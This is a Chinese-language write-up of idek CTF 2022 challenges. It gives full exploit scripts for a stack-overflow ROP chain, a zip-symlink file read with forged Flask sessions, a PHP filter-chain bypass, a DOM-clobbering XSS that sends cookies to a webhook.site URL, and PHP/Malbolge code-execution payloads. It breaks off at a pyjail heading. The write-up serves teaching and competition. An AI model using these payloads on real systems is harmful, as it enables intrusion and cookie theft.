idek CTF 2022 Writeups
Yet another CTF writeups ;)
Intro
這個假日自己一個人參加了idek CTF,我這次解了1題pwn、4題web和4題misc,這裡簡單記錄一下解題過程。
Typop (Pwn)
Overview
checksec:
[*] '/ctf/work/idek/Typop/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ida反組譯出來的程式碼:
unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
FILE *stream; // [rsp+18h] [rbp-58h]
_BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v7; // [rsp+38h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-30h]
__int64 v9; // [rsp+48h] [rbp-28h]
__int64 v10; // [rsp+50h] [rbp-20h]
__int64 v11; // [rsp+58h] [rbp-18h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
filename[9] = 0;
filename[0] = a1;
filename[1] = a2;
filename[2] = a3;
strcpy(&filename[3], "g.txt");
stream = fopen(filename, "r");
if ( !stream )
{
puts("Error opening flag file.");
exit(1);
}
*(_QWORD *)s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
fgets(s, 32, stream);
puts(s);
return __readfsqword(0x28u) ^ v12;
}
unsigned __int64 getFeedback()
{
__int64 buf; // [rsp+Eh] [rbp-12h] BYREF
__int16 v2; // [rsp+16h] [rbp-Ah]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0;
puts("Do you like ctf?");
read(0, &buf, 0x1EuLL);
printf("You said: %s\n", (const char *)&buf);
if ( (_BYTE)buf == 121 )
printf("That's great! ");
else
printf("Aww :( ");
puts("Can you provide some extra feedback?");
read(0, &buf, 0x5AuLL);
return __readfsqword(0x28u) ^ v3;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( puts("Do you want to complete a survey?") && getchar() == 121 )
{
getchar();
getFeedback();
}
return 0;
}
可以發現getFeedback()
裡有很明顯的兩個stack buffer overflow,
一個是位於read(0, &buf, 0x1EuLL);
,另一個是位於read(0, &buf, 0x5AuLL);
。
另外,win()
在我們將rdi, rsi, rdx控制成”f”, “l”, “a”後呼叫,就可以開啟flag.txt,並且win()
會將flag印出來。
Solution
由於題目有canary,所以我們可以先利用第一個buffer overflow蓋掉canary的一個byte,利用printf("You said: %s\n", (const char *)&buf);
來leak出canary,
接著再利用第二個buffer overflow蓋掉return address來ROP。
但由於題目有PIE,所以我們還需要先leak出PIE base。
這裡我們可以先將return address partial overwrite回main()
,來重新執行getFeedback()
,
再利用與先前步驟相同的方式leak出stack上的return address(main+55)的值,來算出PIE base。
需要注意的是,
printf
與system
類似,其中的movaps
指令會要求stack alignment,所以在partial overwrite回main()
的時候,可以跳到main()
push rbp之後的地方,這樣stack因為少push了一次,就不會導致alignment的問題了。
在leak出PIE base之後,就可以開始ROP了。
這裡我使用ret2csu的方式來控制rdi, rsi, rdx。
這個binary的__libc_csu_init()
裡的gadget如下:
0x00000000000014b0 <+64>: mov rdx,r14
0x00000000000014b3 <+67>: mov rsi,r13
0x00000000000014b6 <+70>: mov edi,r12d
0x00000000000014b9 <+73>: call QWORD PTR [r15+rbx*8]
...
0x00000000000014ca <+90>: pop rbx
0x00000000000014cb <+91>: pop rbp
0x00000000000014cc <+92>: pop r12
0x00000000000014ce <+94>: pop r13
0x00000000000014d0 <+96>: pop r14
0x00000000000014d2 <+98>: pop r15
0x00000000000014d4 <+100>: ret
所以若將位在0x14CC與0x14B0的gadget串起來,我們就可以透過r12d, r13, r14來控制rdi, rsi, rdx,
並且因為getFeedback()
return的時候rbx為&__libc_csu_init
,所以只需要將r15設為:「存win()
的位置 - 8*&__libc_csu_init
」,就可以call到win()
了
但這裡會衍生出一個問題,我們win()
的address要放在哪裡?該怎麼放呢?
答案是我們可以利用第一步leak canary時,連帶被leak出來的saved rbp,推算出當前stack的位置
即可以在getFeedback()
第二次read時,將win()
的address放在stack上,並將該位置扣掉8*&__libc_csu_init
,再pop給r15,就可以call到win()
了
結合上述的技巧:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from ctypes import c_uint64, c_uint32
binary = ELF("./chall")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = "amd64"
def one_gadget(filename: str) -> list:
return [
int(i)
for i in __import__("subprocess")
.check_output(["one_gadget", "--raw", filename])
.decode()
.split(" ")
]
GDB_SCRIPT = """
# b *getFeedback+70
# b *getFeedback+172
b *getFeedback+198
b win
continue
""".strip().splitlines()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT if not line.startswith("#"))
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == "d":
context.log_level = "debug"
# ./solve l
if arg == "l":
io = process([binary.path])
# ./solve g
elif arg == "g":
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("typop.chal.idek.team", 1337)
return io
def main():
io = conn()
io.sendlineafter(b"?\n", b"y")
pad = b"A" * (0x12 - 8 + 1)
io.sendafter(b"?\n", pad)
io.recvuntil(pad)
canary = io.recv(7)
canary = b"\x00" + canary
log.info(f"canary: {canary}")
stack_address = int.from_bytes(io.recv(6), "little")
log.info(f"stack address: {stack_address:#x}")
payload = flat(
{
0x12 - 8: canary,
0x12: stack_address,
0x12 + 8: p8((binary.symbols["main"] + 8) & 0xFF),
}
)
io.sendafter(b"?\n", payload)
io.sendlineafter(b"?\n", b"y")
pad = b"A" * 0x1A
io.sendafter(b"?\n", pad)
io.recvuntil(b"You said: ")
io.recv(0x1A)
main_55_addr = int.from_bytes(io.recv(6), "little")
log.info(f"main+55 address: {main_55_addr:#x}")
binary.address = main_55_addr - 55 - binary.symbols["main"]
log.success(f"PIE base: {binary.address:#x}")
log.success(f"win: {binary.symbols['win']:#x}")
csu_init1 = binary.address + 0x14CC
csu_init2 = binary.address + 0x14B0
rop_chain = flat(
[
csu_init1,
ord("f"), # r12 -> edi
ord("l"), # r13 -> rsi
ord("a"), # r14 -> rdx
# call qword ptr [r15 + rbx*8]
c_uint64(
(stack_address - 0x22) - binary.symbols["__libc_csu_init"] * 8
).value,
csu_init2,
]
)
payload = flat(
{
0x00: p64(binary.symbols["win"]),
0x12 - 8: canary,
# 18: 0xdeadbeef,
0x12 + 8: rop_chain,
},
length=0x5A,
)
io.sendafter(b"?\n", payload)
io.interactive()
if __name__ == "__main__":
main()
flag: idek{2_guess_typos_do_matter}
Readme (Web)
Overview
這題是用go寫的,source code:
package main
import (
"bufio"
"bytes"
"context"
"crypto/sha256"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/http"
"os"
"time"
)
var password = sha256.Sum256([]byte("idek"))
var randomData []byte
const (
MaxOrders = 10
)
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}
type ReadOrderReq struct {
Orders []int `json:"orders"`
}
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}
func main() {
if _, exists := os.LookupEnv("LISTEN_ADDR"); !exists {
panic("env LISTEN_ADDR is required")
}
if _, exists := os.LookupEnv("FLAG"); !exists {
panic("env FLAG is required")
}
initRandomData()
http.HandleFunc("/just-read-it", justReadIt)
srv := http.Server{
Addr: os.Getenv("LISTEN_ADDR"),
ReadTimeout: 5 * time.Second,
WriteTimeout: 5 * time.Second,
}
fmt.Printf("Server listening on %s\n", os.Getenv("LISTEN_ADDR"))
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}
type Validator struct{}
func NewValidator() *Validator {
return &Validator{}
}
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
const (
reqValReaderKey = "readerKey"
reqValSizeKey = "reqValSize"
)
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}
func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
ctx = context.WithValue(ctx, reqValReaderKey, r)
ctx = context.WithValue(ctx, reqValSizeKey, size)
return ctx
}
可以觀察到,這個server有一個just-read-it
的endpoint,可以透過POST傳一個json給他。
傳給他的json會被用json.Unmarshal
解析成ReadOrderReq
的struct,接著server會檢查Orders
的長度是否大於10,如果大於10就會error。
在檢查完Orders
的長度之後,會迭代Orders
裡面的每個元素。
在迭代時會先將被迭代的元素o
傳給CheckReadOrder
來確保是大於0且小於等於100的整數,再將o
傳給Read
來讀取randomData
中的資料,每次讀取的長度為o
。
在迭代完之後,server會呼叫Validate
,確認在已經讀取過的randomData
之後的32個byte是否等於password
,如果正確就會回傳flag
Solution
這題的目標很明確,由於password
是放在randomData
的第12625 byte之後,所以我們要想辦法繞過只能讀10次,且每次讀取的長度都要小於等於100的限制來讀取12625 bytes的資料。
這題最終的解法很簡單,但若跟我一樣不熟悉golang的話,可能不太容易想到,
不過因為這題的code很短,server功能也很簡單,所以我們很容易可以測出這個server的漏洞:
若我們將Orders
裡面的元素設為[100]
,並自己在local將Validate
要比對的32個byte給print出來,就可以發現我們我們並不只讀取100個byte,而是讀了4096個byte!
原因是這段code:
if size >= 100 {
reader = bufio.NewReader(reader)
}
當Orders
裡面的元素大於等於100,就會將reader
轉成bufio.Reader
,
但在轉換的過程中,bufio.Reader
預設會將buffer size設為4096。因此我們在read 100 bytes前,實際上早就已經讀取了4096 bytes進buffer了!
利用這個特性,我們可以將Orders
裡面的元素設為[100, 100, 100, 99, 99, 99, 40]
,這樣就會讀取4096*3+99*3+40=12625
bytes,就能順利繞過檢查,拿到flag。
import httpx
BASE = "http://readme.chal.idek.team:1337"
# BASE = "http://localhost:1337"
def main() -> None:
with httpx.Client(base_url=BASE) as client:
resp = client.post(
"/just-read-it", json={"orders": [100, 100, 100, 99, 99, 99, 40]}
)
print(resp.text)
if __name__ == "__main__":
main()
flag: idek{BufF3r_0wn3rsh1p_c4n_b1t3!}
SimpleFileServer (Web)
Overview
這題很水,主要的問題出在這:
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")
上傳的zip會被用unzip FILENAME -d DIR
解壓縮,但是由於zip裡可以挾帶symlink,所以可以利用symlink在這個部分做任意檔案讀取:
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)
又因為題目的SECRET_KEY的產生方式是寫在/app/config.py
,如下:
import random
import os
import time
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
又因為server會把log寫在/tmp/server.log
裡面:
DATA_DIR = "/tmp/"
# Uploads can only be 2MB in size
app.config["MAX_CONTENT_LENGTH"] = 2 * 1000 * 1000
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + "server.log")
LOG_HANDLER.setFormatter(
logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style="{")
)
所以只要我們可以得到/app/config.py
的內容,再透過/tmp/server.log
得到server的start time,即可暴力猜出SECRET_KEY,
接著只需要偽造一個為admin的session,就可以拿到flag了:
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode(
"utf-8"
)
Exploit
解法很直觀,就不多做解釋了:
import asyncio
import base64
import hashlib
import json
import os
import random
import secrets
from datetime import datetime
import httpx
from itsdangerous import TimestampSigner
from tqdm import tqdm
BASE = "http://simple-file-server.chal.idek.team:1337"
# BASE = "http://localhost:1337"
def sign(data, key: str) -> str:
signer = TimestampSigner(
secret_key=key,
salt="cookie-session",
key_derivation="hmac",
digest_method=hashlib.sha1,
)
return signer.sign(base64.b64encode(json.dumps(data).encode("utf-8"))).decode(
"utf-8"
)
def timestamp(s: str) -> int:
# format is something like 2023-01-15 07:41:29 +0000
return int(datetime.strptime(s, "%Y-%m-%d %H:%M:%S %z").timestamp())
async def main() -> None:
os.system("rm -rf pwn.zip")
os.system("rm -rf config")
os.system("rm -rf log")
os.system("ln -s /app/config.py config")
os.system("ln -s /tmp/server.log log")
os.system("zip -y -r pwn.zip config log")
os.system("rm config")
os.system("rm log")
username = secrets.token_hex(10)
password = "lebr0nli"
print(f"username: {username}")
async with httpx.AsyncClient(base_url=BASE, http2=True) as client:
resp = await client.post(
"/register",
data={
"username": username,
"password": password,
},
)
# print(resp.text)
await client.post(
"/login",
data={
"username": username,
"password": password,
},
)
resp = await client.post(
"/upload",
files={
("file", open("pwn.zip", "rb")),
},
follow_redirects=True,
)
file_id = resp.text.split('Your unique ID is <a href="/uploads/')[1].split(
'">'
)[0]
print(f"file_id: {file_id}")
resp = await client.get(f"/uploads/{file_id}/config")
offset = resp.text.split("SECRET_OFFSET = ")[1].split("\n")[0]
print(f"offset: {offset}")
resp = await client.get(f"/uploads/{file_id}/log")
first_log_time = resp.text.split("[")[1].split("]")[0]
print(f"first_log_time: {first_log_time}")
seed_lower_bound = (int(offset) + timestamp(first_log_time)) * 1000
print(f"seed_lower_bound: {seed_lower_bound}")
seed_upper_bound = seed_lower_bound + 1000
print(f"seed_upper_bound: {seed_upper_bound}")
for seed in tqdm(range(seed_lower_bound, seed_upper_bound)):
# seed = round(1606569865.3411758 * 1000)
# print(f"seed: {seed}")
random.seed(seed)
key = "".join([f"{random.randint(0, 15):x}" for _ in range(32)])
# print(f"key: {key}")
session = {
"uid": "admin",
"admin": True,
}
cookie = sign(session, key)
# print(f"cookie: {cookie}")
client.cookies.set("session", cookie)
resp = await client.get("/flag")
if "idek{" in resp.text:
print(resp.text)
return
if __name__ == "__main__":
asyncio.run(main())
flag: idek{s1mpl3_expl01t_s3rver}
Paywall (Web)
Overview
這題的code很簡短,如下:
<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="assets/style.css">
<title>The idek Times</title>
</head>
<body>
<main>
<nav>
<h1>The idek Times</h1>
</nav>
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
<a href="/?p=flag">
<article>
<h2>All about flags</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?p=hello-world">
<article>
<h2>My first post!</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?source" id="source">Source</a>
</main>
</body>
</html>
可以看到,在file_get_contents($_GET['p'], 1)
的部分,因為沒有做任何的檢查,所以可以直接讀取任意檔案。
但是,articles/flag
的檔案內容為:
PREMIUM - idek{REDACTED}
所以如果直接讀取articles/flag
這個檔案,會出現Thank you for your interest in The idek Times, but this article is only for premium users!
的訊息,不會出現flag,因為檔案的內容的開頭不是FREE,而是PREMIUM
Solution
由於可以使用php filter,所以只要我們能利用filter,將檔案中的內容轉換成FREE開頭的字串,就可以順利讀取flag了。
具體添加字元的方式,可以參考synacktiv的這篇文章
我最後的解法有點爛,算是trial and error的結果。
我添加字元的方式與文章中的方法大致相同,不同的是我發現若使用這個工具提供的filter來添加”FREE”,最終的結果會導致flag最後幾個字元消失。
因此為了解決這個問題,我在開始套filter chain前,先用convert.iconv.UTF8.CSISO2022KR
, convert.base64-encode
, convert.iconv.UTF8.UTF7
改變了flag一開始的內容,讓之後的轉換就算有字元消失,也不會影響到idek{}
中的內容。
最後我的解法如下:
import httpx
from base64 import b64decode
BASE = "http://paywall.chal.idek.team:1337"
def main() -> None:
payload = "php://filter/"
# make the final result longer to avoid losing some characters in the conversion
payload += "convert.iconv.UTF8.CSISO2022KR|" * 2
payload += "convert.base64-encode|"
payload += "convert.iconv.UTF8.UTF7|"
# https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py
conversions = {
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
}
payload += conversions["E"]
remove_bad = "|convert.base64-decode|convert.base64-encode|"
payload += remove_bad
payload += conversions["E"]
payload += remove_bad
payload += conversions["R"]
payload += remove_bad
payload += conversions["F"]
payload += remove_bad
payload += "/resource=flag"
print(payload)
with httpx.Client(base_url=BASE) as client:
resp = client.get("/", params={"p": payload})
try:
data = resp.content.split(b"<article>")[1].split(b"</article>")[0]
data = data[4:]
print(b64decode(data))
except IndexError:
print("nope")
return
if __name__ == "__main__":
main()
# b'\x1b$)C\x1b$)CPREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}>'
JSON Beautifier (Web)
Overview
這題是一個XSS的挑戰,主要有問題的code如下:
window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');
const defaults = {
opts: {
cols: 4
},
debug: false,
};s
const beautify = () => {
try {
userJson = JSON.parse(inputBox.textContent);
} catch (e){
return;
};
loadConfig();
const cols = this.config?.opts?.cols || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);
console.log(this.config?.opts)
if(this.config?.debug || defaults.debug){
eval(`beautified = ${output}`);
return beautified;
};
outputBox.innerHTML = `<pre>${output}</pre>`
};
const saveConfig = (config) => {
localStorage.setItem('config', JSON.stringify(config));
};
const loadConfig = () => {
if (localStorage.hasOwnProperty('config')){
window.config = JSON.parse(localStorage.getItem('config'))
};
}
console.log('hello from JSON beautifier!')
inputBox.addEventListener("DOMCharacterDataModified", () => {
beautify();
});
if((new URL(location).searchParams).get('json')){
const jsonParam = (new URL(location).searchParams).get('json');
inputBox.textContent = jsonParam;
};
beautify();
可以發現這個js會把url的json
參數的內容放到inputBox
中,接著會把inputBox
的內容經過縮排的轉換後放到outputBox.innerHTML
中。
但是在轉換的過程中,並沒有對inputBox
的內容做任何的過濾,所以導致我們可以在outputBox
中插入任意的tag,
但因為有CSP的關係,所以不能成功XSS:
@app.after_request
def add_csp_header(response):
response.headers['Content-Security-Policy'] = "script-src 'unsafe-eval' 'self'; object-src 'none';"
return response
可以看到CSP允許script-src
為'unsafe-eval'
和'self'
另外可以發現當this.config?.debug
不為undefined時,會執行eval()
,而eval()
的內容為output
,
所以代表若我們能控制this.config?.debug
和output
,即可執行任意的js
Solution
在開始想該怎麼控制this.config?.debug
與ouput
的值之前,首先要解決的問題是:
beutify()
已經被呼叫過一次了,我們該如何再次呼叫beautify()
呢?
答案是我們可以透過插入一個帶有srcdoc
的iframe,並在srcdoc
裡面重新配置inputBox
的內容,並插入一個src
為/static/js/main.js
的script tag,這樣就可以再次呼叫beautify()
了:
"<iframe srcdoc='<div id=json-input>[]</div><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
接下來,我們先假設我們可以控制所有除了output
以外的變數,我們要怎麼控制output
的內容呢?
答案是透過這段code:
const cols = this.config?.opts?.cols || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);
當cols
的型別String
時,JSON.stringify()
會利用cols
的內容來對輸出做縮排,
舉例來說以下這段js:
JSON.stringify([[]], null, '1234')
會輸出:
[
1234[]
]
所以若我們將userJson
控制為:
[
"*/eval(name)//"
]
並且將cols
控制為/*
,此時的輸出將會是:
[
/*"*/eval(name)//"
]
這樣一來eval(name)
就會被執行,接著我們只需要將name
改成我們想要執行的js,即可執行任意的js!
知道如何控制output
的內容後,接下來我們該如何控制this.config?.opts?.cols
與this.config?.debug
的值呢?
這個部分常打CTF的人應該都知道,那就是DOM Clobbering。
由於JSON.stringify
會要求cols
的型別為String
,所以我們可以google一下有cols
這個property的DOM element,可以發現textarea
和frameset
都有這個property,稍微測試一下可以發現只有frameset
可以控制cols
的值為任意的字串,而textarea
只能控制成整數
知道這個特性後,我們就可以透過DOM Clobbering來控制this.config?.opts?.cols
的值了:
"<iframe srcdoc='<div id=json-input>["*/alert(1)//"]</div><iframe name=config srcdoc="<frameset id=opts cols=/*></frameset>"></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
接著是this.config?.debug
的部分,我們可以透過在framset
裡再插一個id為debug
的frame
來使其不為undefined:
"<iframe srcdoc='<div id=json-input>["*/alert(1)//"]</div><iframe name=config srcdoc="<frameset id=opts cols=/*><frame id=debug></frame></frameset>"></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"
可以發現上面這個payload成功執行了alert(1)
!
接下來只需依樣畫葫蘆即可將cookie拿到:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return (
"""
<script>
window.name = "location=`https://webhook.site/1d0109f6-d6da-4c19-8858-2b879b5219bf?f=`+encodeURIComponent(top.document.cookie)";
location.href = "http://json-beautifier.chal.idek.team:1337/?json=%22%3Ciframe%20name%3Deval(top.name)%20srcdoc%3D%27%3Cdiv%20id%3Djson-input%3E%5B%26%23x22%3B*%2Feval(name)%2F%2F%26%23x22%3B%5D%3C%2Fdiv%3E%3Ciframe%20name%3Dconfig%20srcdoc%3D%26quot%3B%3Cframeset%20id%3Dopts%20cols%3D%26%23x2f%3B*%3E%3Cframe%20id%3Ddebug%3E%3C%2Fframe%3E%3C%2Fframeset%3E%26quot%3B%3E%3C%2Fiframe%3E%3Cscript%20src%3Dhttp%3A%2F%2Fjson-beautifier.chal.idek.team%3A1337%2Fstatic%2Fjs%2Fmain.js%3E%3C%2Fscript%3E%27%3E%3C%2Fiframe%3E%22";
</script>
""",
200,
{"Content-Type": "text/html"},
)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=1337)
flag: idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}
Malbolge I: Gluttony (Misc)
Overview
題目給了一個以Python實現的Malbolge interpreter:
from sys import stdin
CRAZY = [[1, 0, 0], [1, 0, 2], [2, 2, 1]]
ENCRYPT = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@"
ENCRYPT = list(map(ord, ENCRYPT))
with open("banner") as banner:
print(*banner.readlines())
def crazy(a, b, bad):
trits = CRAZY if bad is None else bad
result = 0
d = 1
for _ in range(10):
result += trits[b // d % 3][a // d % 3] * d
d *= 3
return result
def initialize(source, mem, bad):
i = 0
for c in source:
assert (ord(c) + i) % 94 in {4, 5, 23, 39, 40, 62, 68, 81}
mem[i] = ord(c)
i += 1
while i < 3**10:
mem[i] = crazy(mem[i - 1], mem[i - 2], bad)
i += 1
def interpret(mem, stdin_allowed, bad):
output = ""
a, c, d = 0, 0, 0
while True:
if not 33 <= mem[c] <= 126:
return output
match (mem[c] + c) % 94:
case 4:
c = mem[d]
case 5:
ch = chr(int(a % 256))
print(ch, end="")
output += ch
case 23:
if stdin_allowed:
try:
a = ord(stdin.read(1))
except TypeError:
return output
else:
return output
case 39:
a = mem[d] = 3**9 * (mem[d] % 3) + mem[d] // 3
case 40:
d = mem[d]
case 62:
a = mem[d] = crazy(a, mem[d], bad)
case 81:
return output
if 33 <= mem[c] <= 126:
mem[c] = ENCRYPT[mem[c] - 33]
c = (c + 1) % 3**10
d = (d + 1) % 3**10
def malbolge(program, stdin_allowed=True, a_bad_time=None):
memory = [0] * 3**10
initialize(program, memory, a_bad_time)
return interpret(memory, stdin_allowed, a_bad_time)
題目主要的部分在於:
from malbolge import malbolge
assert len(code := input()) <= 66 - 6 + (6 + 6)/6
exec(malbolge(code))
server會把我們輸入的Malbolge code執行後的回傳值丟進exec
Solution
這題的解法其實很簡單,不需要自己寫Malbolge code,wiki上有一個echo的範例,會把我們輸入的東西印出來
所以只需要把這個範例的code輸入給他,接著輸入import os;os.system("cat */*")
接著ctrl+d使其EOF,就可以拿到放在某個檔名很長的資料夾裡的flag了
Note: 不太確定是什麼原因,這個只有用
socat
可以做到,那時我試了其他工具好久…
flag: idek{4l1_h0p3_484nd0n_y3_wh0_3nt3r_h3r3}
PHPFu..n (Misc)
Overview
這題是一個PHPFuck的挑戰,目標是利用[(,.^)]'
這八種符號來寫出一個php code,並且讀取flag.txt
的內容
比較特別的是,執行過程中只要出現一個warning就會停止執行,所以我們不再能夠使用老方法[].[]
來產生ArrayArray
的字串了。
並且這題的php環境是最新的php 8,所以也不能再使用例如:[]^[]
來產生整數了。
Solution
這題解法的核心思想跟我之前寫PHPFun類似,所以相關的前置知識這裡就不多說了,這裡主要是要說明和老方法不同的地方,有興趣的可以看看@splitline的文章或我之前的文章
經過一些測試後,我們可以發現單純以[]().,
去互相xor,無法直接做出例如system
這種字串,但其中有幾個字元值得留意:
>>> '['^'('
=> "s"
>>> ')'^']'
=> "t"
>>> '['^')'
=> "r"
我們可以將這些字元組合起來,合出strstr
這個字串
>>> ('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')')
=> "strstr"
但這有什麼用呢?
答案是我們可以利用strstr('','.')
的呼叫來拿到false
:
>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> false
接著只要執行false^false
,即可創造出一個0這個新的字元:
>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> 0
>>> ((('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')).''
=> "0"
接著除了[]()'.,
這幾個字元,我們就多了0
這個字元能進行xor了!
經過測試後,可以發現能xor出的字元變的很多,並且system('sh')
(實際上是sYstEm('sh')
)所需的字元也都能xor出來了。
最終的exploit:
from pwn import *
def main() -> None:
def basic_encode(code: str) -> str:
return ".".join([f"({char_mapping[c]})" for c in code])
char_mapping = {"s": "'['^'('", "t": "')'^']'", "r": "'['^')'"}
strstr = f"({basic_encode('strstr')})"
false = f"{strstr}('','.')"
nums = {0: f"({false})^({false})"}
char_mapping["\x02"] = "'.'^','"
char_mapping["Y"] = char_mapping["\x02"] + "^'['"
char_mapping["\x1e"] = f"({nums[0]}).''^'.'"
char_mapping["E"] = char_mapping["\x1e"] + "^'['"
char_mapping["m"] = f"({nums[0]}).''^']'"
char_mapping["\x1c"] = f"({nums[0]}).''^','"
char_mapping["h"] = char_mapping["\x1c"] + f"^({char_mapping['t']})"
system = f"({basic_encode('sYstEm')})"
system_sh = f"{system}({basic_encode('sh')})"
print(system_sh)
io = remote("phpfun.chal.idek.team", 1337)
io.sendlineafter(b": ", system_sh.encode())
io.interactive()
if __name__ == "__main__":
main()
flag: idek{N3w_v3rs1on_r3qu1re_new_t00lz!}
pyjail (Misc)
Overview
#!/usr/bin/env python3
